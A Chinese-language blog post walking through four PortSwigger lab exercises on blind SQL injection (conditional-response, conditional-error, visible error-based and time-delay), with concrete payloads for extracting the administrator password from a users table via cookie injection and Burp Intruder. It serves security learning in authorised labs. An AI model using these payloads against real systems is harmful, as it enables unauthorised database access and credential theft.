SQL注入(二)盲注

**摘要:**本文通过四个 PortSwigger Web Security Academy 官方靶场实验,系统演示了盲目 SQL 注入的四种典型手法:带条件响应的盲注(通过 Welcome back 提示判断注入结果)、带条件错误的盲注(通过 200/500 状态码判断注入点)、可视化基于错误的注入(通过报错信息直接获取数据)以及带时间延迟的盲注(利用 pg_sleep 造成延迟)。每个实验均从注入点确定、数据库类型识别、表与用户探测、密码长度判断到逐位爆破的完整流程展开,并附有详细 payload 与操作说明。文章末尾附有法律声明,强调所有实验均在合法授权环境中完成,仅供学习交流。

实验一:带条件响应的盲目SQL注入

1.根据题目的提示,要使用Cookie进行分析,所以我们可以首先拦截对实验页面的访问,对Cookie进行注入分析

2.然后我们要确定注点,对Cookie的TrackingId进行注入

sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='1;
sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' and '1'='2;

当我们注入'1'='1时,返回的结果存在Welcome back的提示,但是我们注入'1'='2的时候没有对应的提示,这就是标准的条件响应盲注生效状态。确定了注入点

3.然后我们要开始确定users表是否存在,返回结果有WELCOME,说明存在user表

sql 复制代码
Cookie: TrackingId=t6y4P2eYikvzcAK8' AND (select 'a' from users limit 1)='a; 

4.下一步我们要确定是否存在administartor用户名在这个users表当中

sql 复制代码
' AND (select 'a' from users where username='administrator')='a;

确定存在administrator用户

5.然后我们要去获得密码,通过测试密码的长度再进行爆破操作,再去测试密码长度的过程中,我们发现这个密码长度在大于19的时候返回的结果含有WELCOME,但是在测试是否大于20的时候没有返回WELCOME,所以确定秘密长度为20

sql 复制代码
' and (select 'a' from users where username='administrator' and length(password)>19)='a;

6.然后接下来就是逐位爆破密码,根据题目提示,密码是小写字母以及0到9的数字组成

sql 复制代码
' and (select substring(password,1,1) from users where username='administrator')='a;

然后选中最后的a,右键选择send to intruder,在intruder页面的右侧的configuration部分粘贴进36个字符,然后在右边的setting部分写入Welcome返回值,然后点击开始攻击即可确定每一位的密码

a

b

c

d

e

f

g

h

i

j

k

l

m

n

o

p

q

r

s

t

u

v

w

x

y

z

0

1

2

3

4

5

6

7

8

9

7.然后在跑出第一位之后修改把 substring(password,1,1) 改成 substring(password,2,1)即可继续破解第二位,以此类推,然后把所有的20位密码拼在一起得到最终的密码,用这个密码和administrator账户登录即可解决问题。

实验二:带条件错误的盲SQL注入

1.我们这个实验和上面一个实验有不一样的地方,这个实验室条件错误的提示,我们是通过页面的响应,返回的结果是200还是500来确定这个注入点的,但是我们上面一个实验是通过是否返回WELCOME的提示来确定是否注入成功,所以两个题目的解题思路不一样。

2.现在第一步进行注入点确定,当我们在T的后面加上一个'时,返回的结果时500,但是当我们加''时返回的结果时200,注入点确定

当我们添加一个'时,后台表示是这样的:多余一个',结果报错

sql 复制代码
SELECT * FROM tracking WHERE TrackingId = 'xxx''

当我们添加两个''时,后台表示是这样的:'xxx' → 一个完整字符串,'' → 一个空字符串 (两个单引号连在一起表示空串),原查询的 ' 闭合

sql 复制代码
SELECT * FROM tracking WHERE TrackingId = 'xxx'''

3.下面我们要确定是什么类型的数据库,首先去判断是不是Oracle类型的

sql 复制代码
'||(SELECT '' FROM dual)||';

4.确定数据库类型之后我们要去确定是否存在users表,其中的rounum=1是从users表中只返回一行

sql 复制代码
'||(select '' from users where rownum=1)||'

5.确定users表存在,然后确定administrator账户是否存在,返回报错,用户存在

sql 复制代码
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
部分 含义
' 闭合原字符串
`
(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END ...) 子查询
FROM users WHERE username='administrator' 锁定 administrator 用户
`
  • CASE WHEN (1=1) 恒真 → 走 TO_CHAR(1/0) → 除以零报错

  • 如果 administrator 用户存在 → 子查询能执行 → 报错

  • 如果用户不存在 → 子查询没结果 → CASE 不执行 → 不报错

6.然后就是确定密码长度,20位,继续爆破密码,操作和上一题是一样的

sql 复制代码
'||(SELECT CASE WHEN LENGTH(password)>1 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
sql 复制代码
'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

实验三:可视化基于错误的SQL注入

1.这个实验和之前的是不一样的,他返回的错误信息会直接把我们所需要的信息给出来,所以比之前的实验会简单一些

首先是确定注入点,右边的响应框里的错误信息会显示完整的 SQL 查询。

2.然后我们在请求中添加注释字符,以注释其余查询内容,包括导致错误的多余单引号字符,返回的结果就没有错误提示了

3.确认 CAST 语法能用,为后面做准备。返回结果正常,表示cast能用

sql 复制代码
' AND 1=CAST((SELECT 1) AS int)--

4.接下来就是去查用户名,由于Cookie 有长度限制,payload 太长,被服务器截断了。所以要缩减长度可以删掉TrackingId的内容,然后重新发送,username 是字符串,不能转成 int,可以得到报错出用户名

sql 复制代码
' and 1=cast((select username from users limit 1) as int)--;

5.下一步就是通过报错的到密码,和上面的报错出用户名是一样的操作,然后使用这个密码登录,解决问题

sql 复制代码
' and 1=cast((select password from users limit 1) as int)--;

实验四:带时间延迟的盲目SQL注入

1.这个实验和上面的实验不一样,这个实验不需要我们去获取什么账户和密码,只需要我们利用漏洞造成10s的延迟的可以了

sql 复制代码
'||pg_sleep(10)--

|| 是字符串拼接符,拼接时右边的内容会被求值。pg_sleep(10) 是一个函数,求值时会执行,所以数据库就睡了 10 秒。

声明:

本文所有实验均在 PortSwigger Web Security Academy 官方提供的合法在线靶场环境 中完成,该平台专为网络安全教学目的搭建,所有实验均为官方授权。未对任何未授权的网站、服务器或系统进行测试 。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。

SQL 注入属于违法行为,《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪 有明确规定。未经授权对他人系统进行渗透测试,无论是否造成损害,都可能构成犯罪。

文中所有 payload 在合法授权环境之外不具备直接使用价值 ,且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现,技术是用来防守的。

如有错误欢迎指正,转载请注明出处。

相关推荐
AAwangzong3 分钟前
企业级AI智能体厂商对比:模型服务、Agent平台与流程自动化如何选择?
人工智能·经验分享·rpa·智能体
fb_1234511 分钟前
K8s 网络通关手册:Ingress-Nginx 生产级路由 + Calico 三种隧道模式 + NetworkPolicy 白名单实战
网络·nginx·kubernetes
2601_9587369913 分钟前
教师课件能不能做虚拟产品?一个被低估的方向
网络
l1t36 分钟前
DeepSeek总结的DuckDB 2.0.0 中的隐藏亮点
大数据·数据库·duckdb
程序员塔塔喵1 小时前
【MySQL篇|第八篇】索引底层实现
数据库·mysql·adb·索引
KIDULT°1 小时前
K8s 网络进阶实战:Ingress-Nginx、Calico 与 NetworkPolicy 实验 + 排坑记录
网络·nginx·云原生·kubernetes
倔强的石头1061 小时前
【Linux指南】进程通信系列(四):命名管道 FIFO —— 让陌生进程按名字见面
linux·服务器·网络
updayday8541 小时前
电脑换了硬盘、加了内存,资产台账却没更新 - Ping64 硬件资产管理
大数据·网络·数据库·安全·智能路由器
hhhjhl1 小时前
mime-types 跨端三方库仓颉适配全流程
数据库
广州智造1 小时前
Radioss中破坏模型FAILTAB1的详细介绍
数据库·人工智能·算法·机器学习·仿真软件·radioss